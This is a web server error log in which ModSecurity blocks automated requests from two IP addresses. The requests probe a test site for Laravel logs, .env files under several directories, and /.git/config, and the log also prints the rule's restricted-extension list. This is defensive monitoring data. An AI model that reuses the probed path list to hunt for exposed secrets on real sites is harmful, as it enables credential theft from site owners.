[Tue Jan 21 15:28:29.081084 2025] [:error] [pid 621609] [client 193.41.206.36:37650] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "Z4-vDVfy5TWav2XrfAEE5AAAAAM"]
[Tue Jan 21 15:28:29.081411 2025] [:error] [pid 621609] [client 193.41.206.36:37650] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "Z4-vDVfy5TWav2XrfAEE5AAAAAM"]
[Tue Jan 21 15:28:29.081647 2025] [:error] [pid 621609] [client 193.41.206.36:37650] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "Z4-vDVfy5TWav2XrfAEE5AAAAAM"]
[Tue Jan 21 15:28:32.347620 2025] [:error] [pid 621609] [client 193.41.206.36:37650] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lara/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Lara/.env"] [unique_id "Z4-vEFfy5TWav2XrfAEE5QAAAAM"]
[Tue Jan 21 15:28:32.348029 2025] [:error] [pid 621609] [client 193.41.206.36:37650] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Lara/.env"] [unique_id "Z4-vEFfy5TWav2XrfAEE5QAAAAM"]
[Tue Jan 21 15:28:32.348465 2025] [:error] [pid 621609] [client 193.41.206.36:37650] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Lara/.env"] [unique_id "Z4-vEFfy5TWav2XrfAEE5QAAAAM"]
[Tue Jan 21 15:29:22.231442 2025] [:error] [pid 621602] [client 193.41.206.36:56112] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Z4-vQkwzlszgbZ4TH9yAeQAAAAY"]
[Tue Jan 21 15:29:22.231676 2025] [:error] [pid 621602] [client 193.41.206.36:56112] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Z4-vQkwzlszgbZ4TH9yAeQAAAAY"]
[Tue Jan 21 15:29:22.231877 2025] [:error] [pid 621602] [client 193.41.206.36:56112] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Z4-vQkwzlszgbZ4TH9yAeQAAAAY"]
[Tue Jan 21 15:29:25.186589 2025] [authz_core:error] [pid 621602] [client 193.41.206.36:56112] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Tue Jan 21 15:29:28.146968 2025] [:error] [pid 621602] [client 193.41.206.36:56112] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "Z4-vSEwzlszgbZ4TH9yAewAAAAY"]
[Tue Jan 21 15:29:28.147296 2025] [:error] [pid 621602] [client 193.41.206.36:56112] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "Z4-vSEwzlszgbZ4TH9yAewAAAAY"]
[Tue Jan 21 15:29:28.147514 2025] [:error] [pid 621602] [client 193.41.206.36:56112] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "Z4-vSEwzlszgbZ4TH9yAewAAAAY"]
[Tue Jan 21 15:29:30.186703 2025] [:error] [pid 610121] [client 193.41.206.36:40576] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Z4-vSnSo5nIGeA4GeT4buAAAAAc"]
[Tue Jan 21 15:29:30.187269 2025] [:error] [pid 610121] [client 193.41.206.36:40576] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Z4-vSnSo5nIGeA4GeT4buAAAAAc"]
[Tue Jan 21 15:29:30.187766 2025] [:error] [pid 610121] [client 193.41.206.36:40576] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Z4-vSnSo5nIGeA4GeT4buAAAAAc"]
[Tue Jan 21 15:29:31.279875 2025] [:error] [pid 621602] [client 193.41.206.36:56112] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "Z4-vS0wzlszgbZ4TH9yAfAAAAAY"]
[Tue Jan 21 15:29:31.280350 2025] [:error] [pid 621602] [client 193.41.206.36:56112] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "Z4-vS0wzlszgbZ4TH9yAfAAAAAY"]
[Tue Jan 21 15:29:31.280902 2025] [:error] [pid 621602] [client 193.41.206.36:56112] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "Z4-vS0wzlszgbZ4TH9yAfAAAAAY"]
[Tue Jan 21 15:29:33.198826 2025] [authz_core:error] [pid 610121] [client 193.41.206.36:40576] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Tue Jan 21 15:29:36.157615 2025] [:error] [pid 610121] [client 193.41.206.36:40576] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "Z4-vUHSo5nIGeA4GeT4bugAAAAc"]
[Tue Jan 21 15:29:36.158018 2025] [:error] [pid 610121] [client 193.41.206.36:40576] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "Z4-vUHSo5nIGeA4GeT4bugAAAAc"]
[Tue Jan 21 15:29:36.158532 2025] [:error] [pid 610121] [client 193.41.206.36:40576] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "Z4-vUHSo5nIGeA4GeT4bugAAAAc"]
[Tue Jan 21 15:29:38.975315 2025] [:error] [pid 610121] [client 193.41.206.36:40576] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "Z4-vUnSo5nIGeA4GeT4buwAAAAc"]
[Tue Jan 21 15:29:38.975724 2025] [:error] [pid 610121] [client 193.41.206.36:40576] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "Z4-vUnSo5nIGeA4GeT4buwAAAAc"]
[Tue Jan 21 15:29:38.976212 2025] [:error] [pid 610121] [client 193.41.206.36:40576] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "Z4-vUnSo5nIGeA4GeT4buwAAAAc"]
[Tue Jan 21 15:29:56.971829 2025] [:error] [pid 621468] [client 193.41.206.36:43486] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "Z4-vZHWu2t9ReOwcqmDbSAAAAAs"]
[Tue Jan 21 15:29:56.972277 2025] [:error] [pid 621468] [client 193.41.206.36:43486] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "Z4-vZHWu2t9ReOwcqmDbSAAAAAs"]
[Tue Jan 21 15:29:56.972729 2025] [:error] [pid 621468] [client 193.41.206.36:43486] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "Z4-vZHWu2t9ReOwcqmDbSAAAAAs"]
[Tue Jan 21 15:29:59.173177 2025] [:error] [pid 621468] [client 193.41.206.36:43486] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Z4-vZ3Wu2t9ReOwcqmDbSQAAAAs"]
[Tue Jan 21 15:29:59.173591 2025] [:error] [pid 621468] [client 193.41.206.36:43486] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Z4-vZ3Wu2t9ReOwcqmDbSQAAAAs"]
[Tue Jan 21 15:29:59.174028 2025] [:error] [pid 621468] [client 193.41.206.36:43486] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Z4-vZ3Wu2t9ReOwcqmDbSQAAAAs"]
[Tue Jan 21 15:30:01.691792 2025] [:error] [pid 621517] [client 193.41.206.36:33572] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "Z4-vaaUWvTqJytu-P8cEAgAAAA0"]
[Tue Jan 21 15:30:01.692136 2025] [:error] [pid 621517] [client 193.41.206.36:33572] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "Z4-vaaUWvTqJytu-P8cEAgAAAA0"]
[Tue Jan 21 15:30:01.692534 2025] [:error] [pid 621517] [client 193.41.206.36:33572] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "Z4-vaaUWvTqJytu-P8cEAgAAAA0"]
[Tue Jan 21 15:30:04.611601 2025] [:error] [pid 621517] [client 193.41.206.36:33572] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Z4-vbKUWvTqJytu-P8cEAwAAAA0"]
[Tue Jan 21 15:30:04.612026 2025] [:error] [pid 621517] [client 193.41.206.36:33572] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Z4-vbKUWvTqJytu-P8cEAwAAAA0"]
[Tue Jan 21 15:30:04.612490 2025] [:error] [pid 621517] [client 193.41.206.36:33572] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Z4-vbKUWvTqJytu-P8cEAwAAAA0"]
[Wed Jan 22 06:37:53.873975 2025] [:error] [pid 634955] [client 13.201.16.232:45720] [client 13.201.16.232] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5CEMa22TcPmt2EBWlRrhgAAAAs"]
[Wed Jan 22 06:37:53.874785 2025] [:error] [pid 634955] [client 13.201.16.232:45720] [client 13.201.16.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5CEMa22TcPmt2EBWlRrhgAAAAs"]
[Wed Jan 22 06:37:53.875256 2025] [:error] [pid 634955] [client 13.201.16.232:45720] [client 13.201.16.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z5CEMa22TcPmt2EBWlRrhgAAAAs"]
